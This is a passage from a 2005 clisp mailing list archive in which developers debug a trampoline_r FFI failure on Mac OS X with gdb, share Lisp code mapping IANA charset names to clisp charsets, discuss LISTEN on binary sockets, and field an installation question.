0x10015c: stbu r13,-20670(r25) 0x100160: ori r10,r10,5065 0x100164: .long 0x0 0x100168: .long 0x0 0x10016c: .long 0x0 0x100170: .long 0x0 0x100174: .long 0x0 0x100178: .long 0x0 0x10017c: .long 0x0 0x100180: .long 0x0 (gdb) print cf No symbol "cf" in current context. (gdb) up #1 0x00002a2c in main () at /local/src/clisp/clisp-2.35/ffcall/callback/trampoline_r/test1.c:94 94 if ((*cf)(MAGIC4) == MAGIC1+MAGIC2+MAGIC3+MAGIC4) (gdb) print cf $1 = 0x100144 (gdb) down #0 0x00100144 in ?? () (gdb) info reg r0 0x2a14 10772 r1 0xbfffec70 3221220464 r2 0x100164 1048932 r3 0xa2f9d045 2734280773 r4 0x0 0 r5 0x7 7 r6 0x7 7 r7 0x5 5 r8 0x202006 2105350 r9 0x7c0903a6 2080965542 r10 0x0 0 r11 0x90161b44 2417367876 r12 0x100144 1048900 r13 0x0 0 r14 0x0 0 r15 0x0 0 r16 0x0 0 r17 0x0 0 r18 0x0 0 r19 0x0 0 r20 0x0 0 r21 0x0 0 r22 0x0 0 r23 0x0 0 r24 0x0 0 r25 0x0 0 r26 0xbfffed7c 3221220732 r27 0x8 8 r28 0x1 1 r29 0xbfffed80 3221220736 r30 0x100144 1048900 r31 0x29e8 10728 pc 0x100144 1048900 ps 0x8f030 585776 cr 0x22000242 570425922 lr 0x2a2c 10796 ctr 0x100144 1048900 xer 0xc 12 mq 0x0 0 fpscr 0x82024000 2181185536 vscr 0x0 0 vrsave 0x0 0 (gdb) list 89 90 int main () 91 { 92 function cf = alloc_trampoline_r((function)&f, (void*)MAGIC1, (void*)MAGIC2); 93 #ifdef __GNUC__ 94 if ((*cf)(MAGIC4) == MAGIC1+MAGIC2+MAGIC3+MAGIC4) 95 #else 96 if ((*cf)(MAGIC4) == MAGIC3+MAGIC4) 97 #endif 98 { free_trampoline_r(cf); printf("Works, test1 passed.\n"); exit(0); } (gdb) quit -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From sds@gnu.org Wed Aug 31 06:31:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EASgo-0001uS-1g for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 06:31:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EASgk-0003rV-Ik for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 06:31:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7VDPXbn007384; Wed, 31 Aug 2005 09:25:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050831052046.6541F10F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 31 Aug 2005 07:20:46 +0200 (CEST)") References: <20050831052046.6541F10F9F6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: trampoline_r doesn't work on MacOSX 10.3.9 on ppc750 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 06:32:21 2005 X-Original-Date: Wed, 31 Aug 2005 09:24:48 -0400 > * Pascal Bourguignon [2005-08-31 07:20:46 +0200]: > > I don't know if it's supposed to work or not on MacOSX 10.3.9 with a > ppc750 processor, but it doesn't (therefore FFI isn't built into > clisp-2.35 on MacOSX). clisp built on Darwin ppc-osx2.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed Sep 10 15: 20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC Power Macintosh powerpc (the binary is in the SF files section) includes FFI. I don't know how "MacOSX 10.3.9" relates to "Darwin Kernel Version 6.8". I do know that clisp has problems on "mac os x/power5", see -- Sam Steingold (http://www.podval.org/~sds) running w2k There are no answers, only cross references. From pjb@informatimago.com Wed Aug 31 07:50:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EATuc-0005yW-K5 for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 07:50:02 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EATuX-0001e9-CI for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 07:50:02 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 3256E58344; Wed, 31 Aug 2005 16:49:37 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1A0485833D; Wed, 31 Aug 2005 16:49:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 026CD10F9F6; Wed, 31 Aug 2005 16:49:33 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050831144933.026CD10F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp charsets vs. IANA character sets ;-) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 07:51:16 2005 X-Original-Date: Wed, 31 Aug 2005 16:49:33 +0200 (CEST) WARNING: One IANA character sets maps to more than one clisp CHARSET: ("GBK" "windows-936" "MS936" "CP936") --> (CHARSET:GBK CHARSET:CP936) (at least in clisp-2.35) IANA considers these names to be aliases for a single character set. clisp distinguishes (apparently) two of them. Name: GBK MIBenum: 113 Source: Chinese IT Standardization Technical Committee Please see: Alias: CP936 Alias: MS936 Alias: windows-936 (equalp CHARSET:GBK CHARSET:CP936) --> NIL ;;--------------------------------------------------------------------------- (defparameter +charset-path+ "iana-character-sets.data") (ext:shell (format nil "wget http://www.iana.org/assignments/character-sets -O ~A" +charset-path+)) (defparameter *charset-map* nil) (defun second-word (line) (let* ((space (position (character " ") line)) (start (position (character " ") line :start space :test (complement (function eql)))) (end (position (character " ") line :start start))) (subseq line start end))) (DEFUN PREFIX-P (STRING PREFIX) " RETURN: Whether PREFIX is a prefix of the STRING. " (AND (<= (LENGTH PREFIX) (LENGTH STRING)) (STRING= STRING PREFIX :END1 (LENGTH PREFIX))));;PREFIX-P (defun read-character-sets (path) (with-open-file (in path) (loop for line = (read-line in nil nil) with name = nil with aliases = '() with results = '() while line do ;; scan Name: and Alias: ; generate on empty line (cond ((prefix-p line "Name: ") (setf name (second-word line))) ((prefix-p line "Alias: ") (let ((alias (second-word line))) (unless (string-equal "None" alias) (push alias aliases)))) ((zerop (length (string-trim " " line))) (when name (push (cons name aliases) results)) (setf name nil aliases '()))) finally (return results)))) (defun charset-map () (or *charset-map* (progn (setf *charset-map* (make-hash-table :test (function equalp))) (dolist (cs (read-character-sets +charset-path+)) (let ((charsets (delete-duplicates (mapcan (lambda (name) (let ((charset (find-symbol name :charset))) (when charset (list charset)))) cs)))) (when charsets (when (cdr charsets) (warn "One IANA character sets maps to more than one ~ clisp CHARSET: ~S --> ~S" cs charsets)) (dolist (name cs) (setf (gethash name *charset-map*) (first charsets)))))) *charset-map*))) (charset-map) -- __Pascal_Bourguignon__ _ Software patents are endangering () ASCII ribbon against html email (o_ the computer industry all around /\ 1962:DO20I=1.100 //\ the world http://lpf.ai.mit.edu/ 2001:my($f)=`fortune`; V_/ http://petition.eurolinux.org/ From pjb@informatimago.com Wed Aug 31 10:13:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAW9i-00043a-R8 for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 10:13:46 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAW9f-0008E4-Er for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 10:13:46 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6D04B58344; Wed, 31 Aug 2005 19:13:34 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8DFD05833D; Wed, 31 Aug 2005 19:13:31 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DE61910F9F6; Wed, 31 Aug 2005 19:13:30 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050831171330.DE61910F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] listen doesn't work on binary sockets! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 10:14:10 2005 X-Original-Date: Wed, 31 Aug 2005 19:13:30 +0200 (CEST) While the CLHS description of LISTEN use the term character, it doesn't specify a character input stream, just a mere input stream. Since most internet protocols have a binary specification (despite the fact that ASCII encoding is often used for meta data), I'd suggest too implement LISTEN to work on binary streams too. [435]> (setf s (socket:socket-connect 110 "larissa" :element-type '(unsigned-byte 8))) # [436]> (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " ")) 43 NIL 79 NIL 75 NIL 32 NIL 114 NIL 101 NIL 97 NIL 100 NIL 121 NIL 32 NIL 32 NIL 60 NIL 49 NIL 51 NIL 49 NIL 57 NIL 48 NIL 46 NIL 49 NIL 49 NIL 50 NIL 53 NIL 53 NIL 48 NIL 56 NIL 49 NIL 48 NIL 53 NIL 64 NIL 108 NIL 97 NIL 114 NIL 105 NIL 115 NIL 115 NIL 97 NIL 46 NIL 105 NIL 110 NIL 102 NIL 111 NIL 114 NIL 109 NIL 97 NIL 116 NIL 105 NIL 109 NIL 97 NIL 103 NIL 111 NIL 46 NIL 99 NIL 111 NIL 109 NIL 62 NIL 13 NIL 10 NIL [437]> (close s) T [438]> (setf s (socket:socket-connect 110 "larissa")) # [439]> (listen s) T [440]> (read-line s) "+OK ready <13215.1125508132@larissa.informatimago.com>" ; NIL [441]> (listen s) NIL [442]> (close s) T [443]> Break 1 [422]> remote # Break 1 [422]> (listen remote) NIL Break 1 [422]> (socket:socket-status remote) :IO ; 1 Break 1 [422]> (listen remote) NIL Break 1 [422]> (read-byte remote) 50 Break 1 [422]> (listen remote) NIL Break 1 [422]> (read-byte remote) 50 Break 1 [422]> (listen remote) NIL Break 1 [422]> (read-byte remote) 44 Break 1 [422]> (socket:socket-status remote) :IO ; 1 Break 1 [422]> (read-byte remote) 32 Break 1 [422]> (print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.35 (2005-08-29) (built 3334467097) (memory 3334467514)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) Break 1 [422]> -- __Pascal Bourguignon__ http://www.informatimago.com/ Grace personified, I leap into the window. I meant to do that. From sds@gnu.org Wed Aug 31 11:47:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAXcU-0008CR-GN for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 11:47:34 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAXcR-0005wd-3t for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 11:47:34 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7VIl4Ap023669; Wed, 31 Aug 2005 14:47:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050831171330.DE61910F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 31 Aug 2005 19:13:30 +0200 (CEST)") References: <20050831171330.DE61910F9F6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: listen doesn't work on binary sockets! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 11:48:18 2005 X-Original-Date: Wed, 31 Aug 2005 14:46:18 -0400 > * Pascal Bourguignon [2005-08-31 19:13:30 +0200]: > > While the CLHS description of LISTEN use the term character, it > doesn't specify a character input stream, just a mere input stream. > Since most internet protocols have a binary specification (despite the > fact that ASCII encoding is often used for meta data), I'd suggest too > implement LISTEN to work on binary streams too. this would require just a trivial change. the only question is: will the change be really ANSI-compliant. please investigate what the other implementation do (after all, the standard expresses the vendor consensus), and raise the issue on the c.l.l. -- Sam Steingold (http://www.podval.org/~sds) running w2k Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From pjb@informatimago.com Wed Aug 31 12:04:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAXt8-0000Q7-7c for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 12:04:46 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAXt6-0004c2-FL for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 12:04:46 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CDEAD58344; Wed, 31 Aug 2005 21:04:37 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 098095833D; Wed, 31 Aug 2005 21:04:35 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E39BE10F9F6; Wed, 31 Aug 2005 21:04:34 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17173.65346.901329.1988@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Bruno Haible In-Reply-To: References: <20050831052046.6541F10F9F6@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: trampoline_r doesn't work on MacOSX 10.3.9 on ppc750 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 12:05:10 2005 X-Original-Date: Wed, 31 Aug 2005 21:04:34 +0200 Sam Steingold writes: > > * Pascal Bourguignon [2005-08-31 07:20:46 +0200]: > > > > I don't know if it's supposed to work or not on MacOSX 10.3.9 with a > > ppc750 processor, but it doesn't (therefore FFI isn't built into > > clisp-2.35 on MacOSX). > > clisp built on > Darwin ppc-osx2.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed Sep 10 15: > 20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC Power Macintosh powerpc > (the binary is in the SF files section) > includes FFI. > > I don't know how "MacOSX 10.3.9" relates to "Darwin Kernel Version 6.8". It relates badly: MacOSX 10.3.9 runs on Darwin 7.9.0. [pjb@triton pjb]$ hostinfo Mach kernel version: Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Kernel configured for a single processor only. 1 processor is physically available. Processor type: ppc750 (PowerPC 750) Processor active: 0 Primary memory available: 640.00 megabytes. Default processor set: 52 tasks, 119 threads, 1 processors Load average: 0.00, Mach factor: 0.99 IIRC, Darwin 6.8 correspond to a MacOSX 10.2.something. > I do know that clisp has problems on "mac os x/power5", see > Well, at least I've never seen clisp _crash_ on my iBook. configure takes care to avoid trampoline_r :-) -- __Pascal Bourguignon__ http://www.informatimago.com/ From ventimig@msu.edu Wed Aug 31 14:22:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAa2T-0006h6-NS for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 14:22:33 -0700 Received: from sys15.mail.msu.edu ([35.9.75.115]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EAa2S-0002Uv-16 for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 14:22:33 -0700 Received: from galileo.pa.msu.edu ([35.9.70.167]) by sys15.mail.msu.edu with esmtpsa (Exim 4.52 #1) (TLSv1:AES256-SHA:256) id 1EAa2I-0002SR-PS for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 17:22:22 -0400 Message-ID: <43161F8E.5060308@msu.edu> From: "David A. Ventimiglia" User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus: None found by Clam AV X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 14:25:24 2005 X-Original-Date: Wed, 31 Aug 2005 17:22:22 -0400 Hello, I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed the instructions in the ../unix/INSTALL file to install it onto Linux (Fedora core 2). The installation appeared to proceed correctly. However, when I run "clisp" from a shell prompt, I get this error: clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory I installed clisp into the ~/local directory, and the file lisp.run is visible in the directory ~/local/lib/clisp/base/lisp.run. Does anyone know what the problem is? Thanks. Regards, David A. Ventimiglia From pjb@informatimago.com Wed Aug 31 15:07:39 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EAak5-0000Mn-2v for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:07:37 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EAak1-0004VL-Mu for clisp-list@lists.sourceforge.net; Wed, 31 Aug 2005 15:07:37 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E71ED58344; Thu, 1 Sep 2005 00:05:58 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 237B758344; Wed, 31 Aug 2005 23:51:53 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7F57210F9F6; Wed, 31 Aug 2005 23:50:17 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17174.9753.348796.546998@thalassa.informatimago.com> To: "David A. Ventimiglia" Cc: clisp-list Subject: Re: [clisp-list] clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory In-Reply-To: <43161F8E.5060308@msu.edu> References: <43161F8E.5060308@msu.edu> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 31 15:08:28 2005 X-Original-Date: Wed, 31 Aug 2005 23:50:17 +0200 David A. Ventimiglia writes: > Hello, > > I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed clisp-2.35 version 2.3 was long ago. > the instructions in the ../unix/INSTALL file to install it onto Linux > (Fedora core 2). The installation appeared to proceed correctly. > However, when I run "clisp" from a shell prompt, I get this error: > > clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory > > I installed clisp into the ~/local directory, and the file lisp.run is > visible in the directory ~/local/lib/clisp/base/lisp.run. Does anyone > know what the problem is? 